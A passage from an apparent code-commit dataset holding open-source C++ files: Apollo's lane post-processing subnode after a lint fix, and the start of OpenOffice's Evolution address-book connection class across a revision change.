(camera_object_data_ == nullptr) {\n AERROR << \"failed to get shared data instance: CameraObjectData \";\n return false;\n }\n lane_shared_data_ = dynamic_cast<LaneSharedData *>(\n shared_data_manager_->GetSharedData(\"LaneSharedData\"));\n if (lane_shared_data_ == nullptr) {\n AERROR << \"failed to get shared data instance: LaneSharedData \";\n return false;\n }\n\n AINFO << \"init shared data successfully, data: \"\n << camera_object_data_->name() << \" and \" << lane_shared_data_->name();\n\n return true;\n}\n\nvoid LanePostProcessingSubnode::RegistAllAlgorithms() {\n RegisterFactoryCCLanePostProcessor();\n}\n\nbool LanePostProcessingSubnode::InitAlgorithmPlugin() {\n \/\/ init lane post-processer\n lane_post_processor_.reset(\n BaseCameraLanePostProcessorRegisterer::GetInstanceByName(\n FLAGS_onboard_lane_post_processor));\n if (!lane_post_processor_) {\n AERROR << \"failed to get instance: \" << FLAGS_onboard_lane_post_processor;\n return false;\n }\n if (!lane_post_processor_->Init()) {\n AERROR << \"failed to init lane post-processor: \"\n << lane_post_processor_->name();\n return false;\n }\n\n AINFO << \"init alg pulgins successfully\\n\"\n << \" lane post-processer: \" << FLAGS_onboard_lane_post_processor;\n return true;\n}\n\nbool LanePostProcessingSubnode::InitWorkRoot() {\n ConfigManager *config_manager = ConfigManager::instance();\n if (config_manager == NULL) {\n AERROR << \"failed to get ConfigManager instance.\";\n return false;\n }\n\n if (!config_manager->Init()) {\n AERROR << \"failed to init ConfigManager\";\n return false;\n }\n\n return true;\n}\n\nbool LanePostProcessingSubnode::GetSharedData(const Event &event,\n shared_ptr<SensorObjects> *objs) {\n double timestamp = event.timestamp;\n string device_id = event.reserve;\n device_id_ = device_id;\n string data_key;\n if (!SubnodeHelper::ProduceSharedDataKey(timestamp, device_id, &data_key)) {\n AERROR << \"failed to produce shared data key. EventID:\" << event.event_id\n << \" timestamp:\" << timestamp << \" device_id:\" << device_id;\n return false;\n }\n\n if (!camera_object_data_->Get(data_key, objs)) {\n AERROR << \"failed to get shared data. event:\" << event.to_string();\n return false;\n }\n return true;\n}\n\nvoid LanePostProcessingSubnode::PublishDataAndEvent(\n const double timestamp, const SharedDataPtr<LaneObjects> &lane_objects) {\n string key;\n if (!SubnodeHelper::ProduceSharedDataKey(timestamp, device_id_, &key)) {\n AERROR << \"failed to produce shared key. time: \"\n << GLOG_TIMESTAMP(timestamp) << \", device_id: \" << device_id_;\n return;\n }\n\n if (!lane_shared_data_->Add(key, lane_objects)) {\n AWARN << \"failed to add LaneSharedData. key: \" << key\n << \" num_detected_objects: \" << lane_objects->size();\n return;\n }\n\n \/\/ pub events\n for (size_t idx = 0; idx < pub_meta_events_.size(); ++idx) {\n const EventMeta &event_meta = pub_meta_events_[idx];\n Event event;\n event.event_id = event_meta.event_id;\n event.timestamp = timestamp;\n event.reserve = device_id_;\n event_manager_->Publish(event);\n }\n AINFO << \"succeed to publish data and event.\";\n}\n\nStatus LanePostProcessingSubnode::ProcEvents() {\n \/\/ fusion output subnode only subcribe the fusion subnode\n CHECK_EQ(sub_meta_events_.size(), 1u) << \"only subcribe one event.\";\n const EventMeta &event_meta = sub_meta_events_[0];\n Event event;\n event_manager_->Subscribe(event_meta.event_id, &event);\n ++seq_num_;\n shared_ptr<SensorObjects> objs;\n if (!GetSharedData(event, &objs)) {\n AERROR << \"Failed to get shared data. event:\" << event.to_string();\n return Status(ErrorCode::PERCEPTION_ERROR, \"Failed to proc events.\");\n }\n\n Timer timer;\n timer.Start();\n\n cv::Mat lane_map = objs->camera_frame_supplement->lane_map;\n if (lane_map.empty()) {\n AERROR << \"Get NULL lane_map from camera frame supplement\";\n return Status(ErrorCode::PERCEPTION_ERROR, \"Failed to proc events.\");\n }\n\n LaneObjectsPtr lane_objects(new LaneObjects());\n CameraLanePostProcessOptions options;\n options.timestamp = event.timestamp;\n timestamp_ns_ = event.timestamp * 1e9;\n\n lane_post_processor_->Process(lane_map, options, &lane_objects);\n for (size_t i = 0; i < lane_objects->size(); ++i) {\n (*lane_objects)[i].timestamp = event.timestamp;\n (*lane_objects)[i].seq_num = seq_num_;\n }\n AINFO << \"Before publish lane objects, objects num: \"\n << lane_objects->size();\n\n uint64_t t = timer.End(\"lane post-processing\");\n min_processing_time_ = std::min(min_processing_time_, t);\n max_processing_time_ = std::max(max_processing_time_, t);\n tot_processing_time_ += t;\n AINFO << \"Lane Post Processing Runtime: \"\n << \"MIN (\" << min_processing_time_ << \" ms), \"\n << \"MAX (\" << max_processing_time_ << \" ms), \"\n << \"AVE (\" << tot_processing_time_ \/ seq_num_ << \" ms).\";\n\n PublishDataAndEvent(event.timestamp, lane_objects);\n\n if (publish_) {\n PublishPerceptionPb(lane_objects);\n }\n\n AINFO << \"Successfully finished lane post processing\";\n return Status::OK();\n}\n\nvoid LanePostProcessingSubnode::PublishPerceptionPb(\n const LaneObjectsPtr &lane_objects) {\n ADEBUG << \"Lane post-processor publish lane object pb data\";\n\n PerceptionObstacles obstacles;\n\n \/\/ Header\n common::adapter::AdapterManager::FillPerceptionObstaclesHeader(\n \"perception_obstacle\", &obstacles);\n common::Header *header = obstacles.mutable_header();\n header->set_lidar_timestamp(0);\n header->set_camera_timestamp(timestamp_ns_);\n header->set_radar_timestamp(0);\n\n \/\/ generate lane marker protobuf messages\n LaneMarkers* lane_markers = obstacles.mutable_lane_marker();\n LaneObjectsToLaneMarkerProto(*lane_objects, lane_markers);\n\n common::adapter::AdapterManager::PublishPerceptionObstacles(obstacles);\n ADEBUG << \"Lane Markers: \" << obstacles.ShortDebugString();\n\n ADEBUG << \"Succeed to publish lane object pb data.\";\n}\n\n} \/\/ namespace perception\n} \/\/ namespace apollo\n<commit_msg>fix lint issue<commit_after>\/******************************************************************************\n * Copyright 2018 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/\/ @brief: lane_post_processing_subnode source file\n\n#include \"modules\/perception\/obstacle\/onboard\/lane_post_processing_subnode.h\"\n\n#include <unordered_map>\n#include <cfloat>\n#include <algorithm>\n\n#include \"Eigen\/Dense\"\n#include \"opencv2\/opencv.hpp\"\n#include \"yaml-cpp\/yaml.h\"\n\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/time\/timer.h\"\n#include \"modules\/common\/time\/time_util.h\"\n#include \"modules\/perception\/common\/perception_gflags.h\"\n#include \"modules\/perception\/lib\/config_manager\/config_manager.h\"\n#include \"modules\/perception\/obstacle\/camera\/lane_post_process\/cc_lane_post_processor\/cc_lane_post_processor.h\"\n#include \"modules\/perception\/onboard\/event_manager.h\"\n#include \"modules\/perception\/onboard\/shared_data_manager.h\"\n#include \"modules\/perception\/onboard\/types.h\"\n#include \"modules\/perception\/proto\/perception_obstacle.pb.h\"\n\nnamespace apollo {\nnamespace perception {\n\nusing std::string;\nusing std::unordered_map;\nusing std::shared_ptr;\nusing apollo::common::Status;\nusing apollo::common::ErrorCode;\nusing apollo::common::time::Timer;\n\nbool LanePostProcessingSubnode::InitInternal() {\n \/\/ get Subnode config in DAG streaming\n unordered_map<string, string> fields;\n SubnodeHelper::ParseReserveField(reserve_, &fields);\n if (fields.count(\"publish\") && stoi(fields[\"publish\"]) != 0) {\n publish_ = true;\n }\n\n \/\/ init shared data\n if (!InitSharedData()) {\n AERROR << \"failed to init shared data.\";\n return false;\n }\n\n RegistAllAlgorithms();\n\n \/\/ init plugins\n if (!InitAlgorithmPlugin()) {\n AERROR << \"failed to init algorithm plugins.\";\n return false;\n }\n\n AINFO << \"init LanePostProcessing subnode successfully.\";\n return true;\n}\n\nbool LanePostProcessingSubnode::InitSharedData() {\n if (shared_data_manager_ == nullptr) {\n AERROR << \"shared data manager is a null pointer.\";\n return false;\n }\n\n \/\/ init preprocess_data\n camera_object_data_ = dynamic_cast<CameraObjectData *>(\n shared_data_manager_->GetSharedData(\"CameraObjectData\"));\n if (camera_object_data_ == nullptr) {\n AERROR << \"failed to get shared data instance: CameraObjectData \";\n return false;\n }\n lane_shared_data_ = dynamic_cast<LaneSharedData *>(\n shared_data_manager_->GetSharedData(\"LaneSharedData\"));\n if (lane_shared_data_ == nullptr) {\n AERROR << \"failed to get shared data instance: LaneSharedData \";\n return false;\n }\n\n AINFO << \"init shared data successfully, data: \"\n << camera_object_data_->name() << \" and \" << lane_shared_data_->name();\n\n return true;\n}\n\nvoid LanePostProcessingSubnode::RegistAllAlgorithms() {\n RegisterFactoryCCLanePostProcessor();\n}\n\nbool LanePostProcessingSubnode::InitAlgorithmPlugin() {\n \/\/ init lane post-processer\n lane_post_processor_.reset(\n BaseCameraLanePostProcessorRegisterer::GetInstanceByName(\n FLAGS_onboard_lane_post_processor));\n if (!lane_post_processor_) {\n AERROR << \"failed to get instance: \" << FLAGS_onboard_lane_post_processor;\n return false;\n }\n if (!lane_post_processor_->Init()) {\n AERROR << \"failed to init lane post-processor: \"\n << lane_post_processor_->name();\n return false;\n }\n\n AINFO << \"init alg pulgins successfully\\n\"\n << \" lane post-processer: \" << FLAGS_onboard_lane_post_processor;\n return true;\n}\n\nbool LanePostProcessingSubnode::InitWorkRoot() {\n ConfigManager *config_manager = ConfigManager::instance();\n if (config_manager == NULL) {\n AERROR << \"failed to get ConfigManager instance.\";\n return false;\n }\n\n if (!config_manager->Init()) {\n AERROR << \"failed to init ConfigManager\";\n return false;\n }\n\n return true;\n}\n\nbool LanePostProcessingSubnode::GetSharedData(const Event &event,\n shared_ptr<SensorObjects> *objs) {\n double timestamp = event.timestamp;\n string device_id = event.reserve;\n device_id_ = device_id;\n string data_key;\n if (!SubnodeHelper::ProduceSharedDataKey(timestamp, device_id, &data_key)) {\n AERROR << \"failed to produce shared data key. EventID:\" << event.event_id\n << \" timestamp:\" << timestamp << \" device_id:\" << device_id;\n return false;\n }\n\n if (!camera_object_data_->Get(data_key, objs)) {\n AERROR << \"failed to get shared data. event:\" << event.to_string();\n return false;\n }\n return true;\n}\n\nvoid LanePostProcessingSubnode::PublishDataAndEvent(\n const double timestamp, const SharedDataPtr<LaneObjects> &lane_objects) {\n string key;\n if (!SubnodeHelper::ProduceSharedDataKey(timestamp, device_id_, &key)) {\n AERROR << \"failed to produce shared key. time: \"\n << GLOG_TIMESTAMP(timestamp) << \", device_id: \" << device_id_;\n return;\n }\n\n if (!lane_shared_data_->Add(key, lane_objects)) {\n AWARN << \"failed to add LaneSharedData. key: \" << key\n << \" num_detected_objects: \" << lane_objects->size();\n return;\n }\n\n \/\/ pub events\n for (size_t idx = 0; idx < pub_meta_events_.size(); ++idx) {\n const EventMeta &event_meta = pub_meta_events_[idx];\n Event event;\n event.event_id = event_meta.event_id;\n event.timestamp = timestamp;\n event.reserve = device_id_;\n event_manager_->Publish(event);\n }\n AINFO << \"succeed to publish data and event.\";\n}\n\nStatus LanePostProcessingSubnode::ProcEvents() {\n \/\/ fusion output subnode only subcribe the fusion subnode\n CHECK_EQ(sub_meta_events_.size(), 1u) << \"only subcribe one event.\";\n const EventMeta &event_meta = sub_meta_events_[0];\n Event event;\n event_manager_->Subscribe(event_meta.event_id, &event);\n ++seq_num_;\n shared_ptr<SensorObjects> objs;\n if (!GetSharedData(event, &objs)) {\n AERROR << \"Failed to get shared data. event:\" << event.to_string();\n return Status(ErrorCode::PERCEPTION_ERROR, \"Failed to proc events.\");\n }\n\n Timer timer;\n timer.Start();\n\n cv::Mat lane_map = objs->camera_frame_supplement->lane_map;\n if (lane_map.empty()) {\n AERROR << \"Get NULL lane_map from camera frame supplement\";\n return Status(ErrorCode::PERCEPTION_ERROR, \"Failed to proc events.\");\n }\n\n LaneObjectsPtr lane_objects(new LaneObjects());\n CameraLanePostProcessOptions options;\n options.timestamp = event.timestamp;\n timestamp_ns_ = event.timestamp * 1e9;\n\n lane_post_processor_->Process(lane_map, options, &lane_objects);\n for (size_t i = 0; i < lane_objects->size(); ++i) {\n (*lane_objects)[i].timestamp = event.timestamp;\n (*lane_objects)[i].seq_num = seq_num_;\n }\n AINFO << \"Before publish lane objects, objects num: \"\n << lane_objects->size();\n\n uint64_t t = timer.End(\"lane post-processing\");\n min_processing_time_ = std::min(min_processing_time_, t);\n max_processing_time_ = std::max(max_processing_time_, t);\n tot_processing_time_ += t;\n AINFO << \"Lane Post Processing Runtime: \"\n << \"MIN (\" << min_processing_time_ << \" ms), \"\n << \"MAX (\" << max_processing_time_ << \" ms), \"\n << \"AVE (\" << tot_processing_time_ \/ seq_num_ << \" ms).\";\n\n PublishDataAndEvent(event.timestamp, lane_objects);\n\n if (publish_) {\n PublishPerceptionPb(lane_objects);\n }\n\n AINFO << \"Successfully finished lane post processing\";\n return Status::OK();\n}\n\nvoid LanePostProcessingSubnode::PublishPerceptionPb(\n const LaneObjectsPtr &lane_objects) {\n ADEBUG << \"Lane post-processor publish lane object pb data\";\n\n PerceptionObstacles obstacles;\n\n \/\/ Header\n common::adapter::AdapterManager::FillPerceptionObstaclesHeader(\n \"perception_obstacle\", &obstacles);\n common::Header *header = obstacles.mutable_header();\n header->set_lidar_timestamp(0);\n header->set_camera_timestamp(timestamp_ns_);\n header->set_radar_timestamp(0);\n\n \/\/ generate lane marker protobuf messages\n LaneMarkers* lane_markers = obstacles.mutable_lane_marker();\n LaneObjectsToLaneMarkerProto(*lane_objects, lane_markers);\n\n common::adapter::AdapterManager::PublishPerceptionObstacles(obstacles);\n ADEBUG << \"Lane Markers: \" << obstacles.ShortDebugString();\n\n ADEBUG << \"Succeed to publish lane object pb data.\";\n}\n\n} \/\/ namespace perception\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: LConnection.cxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 05:43:29 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_EVOAB_LCONNECTION_HXX_\n#include \"LConnection.hxx\"\n#endif\n#ifndef _CONNECTIVITY_EVOAB_LDATABASEMETADATA_HXX_\n#include \"LDatabaseMetaData.hxx\"\n#endif\n#ifndef _CONNECTIVITY_EVOAB_LCATALOG_HXX_\n#include \"LCatalog.hxx\"\n#endif\n#ifndef _CONNECTIVITY_RESOURCE_HRC_\n#include \"Resource.hrc\"\n#endif\n#ifndef _CONNECTIVITY_MODULECONTEXT_HXX_\n#include \"ModuleContext.hxx\"\n#endif\n#ifndef _COM_SUN_STAR_LANG_DISPOSEDEXCEPTION_HPP_\n#include <com\/sun\/star\/lang\/DisposedException.hpp>\n#endif\n#ifndef _URLOBJ_HXX \/\/autogen wg. INetURLObject\n#include <tools\/urlobj.hxx>\n#endif\n#ifndef _CONNECTIVITY_EVOAB_LPREPAREDSTATEMENT_HXX_\n#include \"LPreparedStatement.hxx\"\n#endif\n#ifndef _CONNECTIVITY_EVOAB_LSTATEMENT_HXX_\n#include \"LStatement.hxx\"\n#endif\n#ifndef _COMPHELPER_EXTRACT_HXX_\n#include <comphelper\/extract.hxx>\n#endif\n#ifndef _DBHELPER_DBCHARSET_HXX_\n#include <connectivity\/dbcharset.hxx>\n#endif\n#ifndef _DBHELPER_DBEXCEPTION_HXX_\n#include <connectivity\/dbexception.hxx>\n#endif\n#ifndef _COMPHELPER_PROCESSFACTORY_HXX_\n#include <comphelper\/processfactory.hxx>\n#endif\n#ifndef _VOS_PROCESS_HXX_\n#include <vos\/process.hxx>\n#endif\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef CONNECTIVITY_EVOAB_DEBUG_HELPER_HXX\n#include \"LDebug.hxx\"\n#endif\n#ifndef _COMPHELPER_SEQUENCE_HXX_\n#include <comphelper\/sequence.hxx>\n#endif\n\nusing namespace connectivity::evoab;\nusing namespace connectivity::file;\nusing namespace vos;\n\ntypedef connectivity::file::OConnection OConnection_B;\n\n\/\/------------------------------------------------------------------------------\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::beans;\nusing namespace ::com::sun::star::sdbcx;\nusing namespace ::com::sun::star::sdbc;\nusing namespace ::com::sun::star::lang;\n\n::rtl::OUString implGetExceptionMsg( Exception& e, const ::rtl::OUString& aExceptionType_ )\n{\n ::rtl::OUString aExceptionType = aExceptionType_;\n if( aExceptionType.getLength() == 0 )\n aExceptionType = ::rtl::OUString( ::rtl::OUString::createFromAscii(\"Unknown\" ) );\n\n ::rtl::OUString aTypeLine( ::rtl::OUString::createFromAscii(\"\\nType: \" ) );\n aTypeLine += aExceptionType;\n\n ::rtl::OUString aMessageLine( ::rtl::OUString::createFromAscii(\"\\nMessage: \" ) );\n aMessageLine += ::rtl::OUString( e.Message );\n\n ::rtl::OUString aMsg(aTypeLine);\n aMsg += aMessageLine;\n return aMsg;\n}\n\n \/\/ Exception type unknown\n::rtl::OUString implGetExceptionMsg( Exception& e )\n{\n ::rtl::OUString aMsg = implGetExceptionMsg( e, ::rtl::OUString() );\n return aMsg;\n}\n\n\/\/ --------------------------------------------------------------------------------\nOEvoabConnection::OEvoabConnection(OEvoabDriver* _pDriver) : OConnection(_pDriver)\n ,m_bHeaderLine(sal_True)\n ,m_cFieldDelimiter(',')\n ,m_cStringDelimiter('\"')\n ,m_cDecimalDelimiter('.')\n ,m_cThousandDelimiter(' ')\n{\n \/\/ Initialise m_aColumnAlias.\n m_aColumnAlias.setAlias(_pDriver->getFactory());\n}\n\/\/-----------------------------------------------------------------------------\nOEvoabConnection::~OEvoabConnection()\n{\n}\n\n\/\/ XServiceInfo\n\/\/ --------------------------------------------------------------------------------\nIMPLEMENT_SERVICE_INFO(OEvoabConnection, \"com.sun.star.sdbc.drivers.evoab.Connection\", \"com.sun.star.sdbc.Connection\")\n\n\/\/-----------------------------------------------------------------------------\nvoid OEvoabConnection::construct(const ::rtl::OUString& url,const Sequence< PropertyValue >& info) throw(SQLException)\n{\n osl_incrementInterlockedCount( &m_refCount );\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::url = %s\\n\", url );\n\n\n ::rtl::OUString aCLICommand = getDriver()->getEvoab_CLI_EffectiveCommand();\n ::rtl::OUString aWorkingDirPath = getDriver()->getWorkingDirPath();\n ::rtl::OUString aArg1 = ::rtl::OUString::createFromAscii(OEvoabDriver::getEVOAB_CLI_ARG_LIST_FOLDERS());\n ::rtl::OUString aArg2 = ::rtl::OUString::createFromAscii(OEvoabDriver::getEVOAB_CLI_ARG_OUTPUT_FILE_PREFIX());\n aArg2 += aWorkingDirPath;\n aArg2 += getDriver()->getEvoFolderListFileName();\n OArgumentList aArgs(2,&aArg1,&aArg2);\n\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::aCLICommand = %s\\n\", aCLICommand );\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::aWorkingDirPath = %s\\n\", aWorkingDirPath );\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::aArg1 = %s\\n\", aArg1 );\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::aArg2 = %s\\n\", aArg2 );\n OProcess aApp( aCLICommand,aWorkingDirPath);\n OProcess::TProcessError eError = aApp.execute( (OProcess::TProcessOption)(OProcess::TOption_Hidden | OProcess::TOption_Wait | OProcess::TOption_SearchPath),aArgs);\n DBG_ASSERT(eError == OProcess::E_None,\"Error at execute evolution-addressbook-export to get VCards\");\n\n\n Sequence<PropertyValue> aDriverParam;\n ::std::vector<PropertyValue> aParam;\n\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"EnableSQL92Check\"), 0, Any(), PropertyState_DIRECT_VALUE));\n ::dbtools::OCharsetMap aLookupIanaName;\n ::dbtools::OCharsetMap::const_iterator aLookup = aLookupIanaName.find(RTL_TEXTENCODING_UTF8);\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"CharSet\"), 0,\n makeAny((*aLookup).getIanaName()), PropertyState_DIRECT_VALUE));\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"Extension\"), 0, makeAny(getDriver()->getFileExt()), PropertyState_DIRECT_VALUE));\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"HeaderLine\"), 0, makeAny(m_bHeaderLine), PropertyState_DIRECT_VALUE));\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"FieldDelimiter\"), 0, makeAny(::rtl::OUString(&m_cFieldDelimiter,1)), PropertyState_DIRECT_VALUE));\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"StringDelimiter\"), 0, makeAny(::rtl::OUString(&m_cStringDelimiter,1)), PropertyState_DIRECT_VALUE));\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"DecimalDelimiter\"), 0, makeAny(::rtl::OUString(&m_cDecimalDelimiter,1)), PropertyState_DIRECT_VALUE));\n aParam.push_back(PropertyValue(::rtl::OUString::createFromAscii(\"ThousandDelimiter\"), 0, makeAny(::rtl::OUString(&m_cThousandDelimiter,1)), PropertyState_DIRECT_VALUE));\n\n \/\/ build a new parameter sequence from the original parameters, appended by the new parameters from above\n PropertyValue *pParams = aParam.empty() ? 0 : &aParam[0];\n aDriverParam = ::comphelper::concatSequences(\n info,\n Sequence< PropertyValue >( pParams, aParam.size() )\n );\n\n \/\/ transform \"sdbc:address:evolution\" part of URL to \"sdbc:flat:file:\/\/\/...\"\n \/\/\n sal_Int32 nLen = url.indexOf(':');\n nLen = url.indexOf(':',nLen+1);\n ::rtl::OUString aAddrbookURI(url.copy(nLen+1));\n \/\/ Get Scheme\n nLen = aAddrbookURI.indexOf(':');\n ::rtl::OUString aAddrbookScheme;\n if ( nLen == -1 )\n {\n \/\/ There isn't any subschema: - but could be just subschema\n if ( aAddrbookURI.getLength() > 0 )\n {\n aAddrbookScheme= aAddrbookURI;\n }\n else\n {\n OSL_TRACE( \"No subschema given!!!\\n\");\n ::dbtools::throwGenericSQLException(\n ::rtl::OUString::createFromAscii(\"No subschema provided\"),NULL);\n }\n }\n else\n {\n aAddrbookScheme = aAddrbookURI.copy(0, nLen);\n }\n\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::URI = %s\\n\", aAddrbookURI );\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::Scheme = %s\\n\", aAddrbookScheme );\n\n \/\/\n \/\/ Now we have a URI convert it to a Evolution CLI flat file URI\n \/\/\n \/\/ The Mapping being used is:\n \/\/\n \/\/ * for Evolution\n \/\/ \"sdbc:address:evolution:\" -> \"sdbc:flat:file:\/\/\/(file path generated)\n\n rtl::OUString aEvoFlatURI;\n if ( aAddrbookScheme.compareToAscii( OEvoabDriver::getSDBC_SCHEME_EVOLUTION() ) == 0 )\n {\n aEvoFlatURI = ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM( \"sdbc:flat:\" ));\n }\n\n\n aEvoFlatURI += getDriver()->getWorkingDirURL();\n EVO_TRACE_STRING(\"OEvoabConnection::construct()::m_aEvoFlatURI = %s\\n\", aEvoFlatURI );\n \/\/setURL(aEvoFlatURI);\n m_aEvoFlatURI = aEvoFlatURI;\n\n osl_decrementInterlockedCount( &m_refCount );\n OConnection::construct(aEvoFlatURI,aDriverParam);\n}\n\/\/ --------------------------------------------------------------------------------\nReference< XDatabaseMetaData > SAL_CALL OEvoabConnection::getMetaData( ) throw(SQLException, RuntimeException)\n{\n ::osl::MutexGuard aGuard( m_aMutex );\n checkDisposed(OConnection_B::rBHelper.bDisposed);\n\n\n Reference< XDatabaseMetaData > xMetaData = m_xMetaData;\n if(!xMetaData.is())\n {\n xMetaData = new OEvoabDatabaseMetaData(this);\n m_xMetaData = xMetaData;\n }\n\n return xMetaData;\n}\n\/\/------------------------------------------------------------------------------\n::com::sun::star::uno::Reference< XTablesSupplier > OEvoabConnection::createCatalog()\n{\n ::osl::MutexGuard aGuard( m_aMutex );\n Reference< XTablesSupplier > xTab = m_xCatalog;\n if(!xTab.is())\n {\n OEvoabCatalog *pCat = new OEvoabCatalog(this);\n xTab = pCat;\n m_xCatalog = xTab;\n }\n return xTab;\n}\n\/\/ --------------------------------------------------------------------------------\nReference< XStatement > SAL_CALL OEvoabConnection::createStatement( ) throw(SQLException, RuntimeException)\n{\n ::osl::MutexGuard aGuard( m_aMutex );\n checkDisposed(OConnection_B::rBHelper.bDisposed);\n\n OEvoabStatement* pStmt = new OEvoabStatement(this);\n\n Reference< XStatement > xStmt = pStmt;\n m_aStatements.push_back(WeakReferenceHelper(*pStmt));\n return xStmt;\n}\n\/\/ --------------------------------------------------------------------------------\nReference< XPreparedStatement > SAL_CALL OEvoabConnection::prepareStatement( const ::rtl::OUString& sql ) throw(SQLException, RuntimeException)\n{\n ::osl::MutexGuard aGuard( m_aMutex );\n checkDisposed(OConnection_B::rBHelper.bDisposed);\n\n\n OEvoabPreparedStatement* pStmt = new OEvoabPreparedStatement(this);\n Reference< XPreparedStatement > xStmt = pStmt;\n pStmt->construct(sql);\n\n m_aStatements.push_back(WeakReferenceHelper(*pStmt));\n return xStmt;\n}\n\/\/ --------------------------------------------------------------------------------\nReference< XPreparedStatement > SAL_CALL OEvoabConnection::prepareCall( const ::rtl::OUString& sql ) throw(SQLException, RuntimeException)\n{\n ::osl::MutexGuard aGuard( m_aMutex );\n checkDisposed(OConnection_B::rBHelper.bDisposed);\n\n return NULL;\n}\n\/\/ -------------------------------------------------------------------------\n<commit_msg>INTEGRATION: CWS dba203a (1.7.76); FILE MERGED 2006\/03\/20 13:11:15 fs 1.7.76.1: #i10000#<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: LConnection.cxx,v $\n *\n * $Revision: 1.8 $\n *\n * last change: $Author: obo $ $Date: 2006-03-29 12:15:23 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_EVOAB_LCONNECTION_HXX_\n#include \"LConnection.hxx\"\n#endif\n#ifndef _CONNECTIVITY_EVOAB_LDATABASEMETADATA_HXX_\n#include \"LDatabaseMetaData.hxx\"\n#endif\n#ifndef _CONNECTIVITY_EVOAB_LCATALOG_HXX_\n#include \"LCatalog.hxx\"\n#endif\n#ifndef _CONNECTIVITY_RESOURCE_HRC_\n#include \"Resource.hrc\"\n#endif\n#ifndef _COM_SUN_STAR_LANG_DISPOSEDEXCEPTION_HPP_\n#include <com\/sun\/star\/lang\/DisposedException.hpp>\n#endif\n#ifndef _URLOBJ_HXX \/\/autogen wg. INetURLObject\n#include <tools\/urlobj.hxx>\n#endif\n#ifndef _CONNECTIVITY_EVOAB_LPREPAREDSTATEMENT_HXX_\n#include \"LPreparedStatement.hxx\"\n#endif\n#ifndef _CONNECTIVITY_EVOAB_LSTATEMENT_HXX_\n#include \"LStatement.hxx\"\n#endif\n#ifndef _COMPHELPER_EXTRACT_HXX_\n#include <comphelper\/extract.hxx>\n#endif\n#ifndef _DBHELPER_DBCHARSET_HXX_\n#include <connectivity\/dbcharset.hxx>\n#endif\n#ifndef _DBHELPER_DBEXCEPTION_HXX_\n#include <connectivity\/dbexception.hxx>\n#endif\n#ifndef _COMPHELPER_PROCESSFACTORY_HXX_\n#include <comphelper\/processfactory.hxx>\n#endif\n#ifndef _VOS_PROCESS_HXX_\n#include <vos\/process.hxx>\n#endif\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef CONNECTIVITY_EVOAB_DEBUG_HELPER_HXX\n#include \"LDebug.hxx\"\n#endif\n#ifndef _COMPHELPER_SEQUENCE_HXX_\n#include <comphelper\/sequence.hxx>\n#endif\n\nusing namespace connectivity::evoab;\nusing namespace connectivity::file;\nusing namespace vos;\n\ntypedef connectivity::file::OConnection OConnection_B;\n\n\/\/------------------------------------------------------------------------------\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::beans;\nusing namespace ::com::sun::star::sdbcx;\nusing namespace 